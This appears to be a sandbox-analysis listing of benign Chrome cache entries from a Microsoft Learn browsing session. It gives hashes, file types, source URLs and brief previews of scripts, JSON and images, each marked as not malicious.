File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
